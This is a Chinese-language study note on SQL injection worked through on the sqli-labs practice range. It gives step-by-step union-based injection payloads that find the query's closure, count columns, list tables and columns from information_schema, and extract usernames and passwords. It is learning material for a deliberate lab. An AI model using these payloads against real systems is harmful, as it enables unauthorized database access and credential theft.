滲透學習筆記(三)--SQL注入學習(一)
@
目錄使用靶場為
sqli
靶場
例題為GET - Error based - Single quotes - String(基於錯誤的GET單引號字元型注入)
sql注入常見攻擊思路
1:尋找到SQL注入的位置
2:判斷伺服器型別和後臺資料庫型別
3:針對不同的伺服器和資料庫特點進行SQL注入攻擊
常見流程
- 首先判斷sql語句閉合方式
常見的閉合方式:
id = 'input_id'
id = ('input_id')
id = "input_id"
id = ("input_id")
判斷方法:
使用'
或者"
來進行判斷,如果輸入?id=1'
"
類似。如上圖,
'
報錯。
- 判斷回顯列數
使用order by
子句判斷返回的列數。
?id=1' order by 5 %23
%23
是#
的url編碼,用來註釋掉另一個'
order by 5
發現報錯
繼續嘗試
發現order by 3
正常
- 判斷返回格式:
id=-1' union select 1,2,3 %23
發現2和3被回顯。
知道返回的列名之後,就可以執行後繼的操作和查詢各種資料了。
例如user()查詢使用者名稱,detabase()查詢當前的資料庫名,version()查詢資料庫版本
id=-1' union select 1,database(),version() %23
- 查詢出當前資料庫所有的表名
id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23
其中group_concat()
是用來把資料在一行中打印出來。
information_schema
是mysql特有的庫,儲存各種資料庫的資訊
- 注入出某一個表中的全部列名
id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='user') %23
- 獲得欄位內容
id=-1' union select 1,2,(select group_concat(Password) from users) %23
id=-1' union select 1,2,(select group_concat(username) from users) %23
本文來自作者:CK_0ff,轉載請註明原文連結:https://www.cnblogs.com/Ck-0ff/p/15815533.html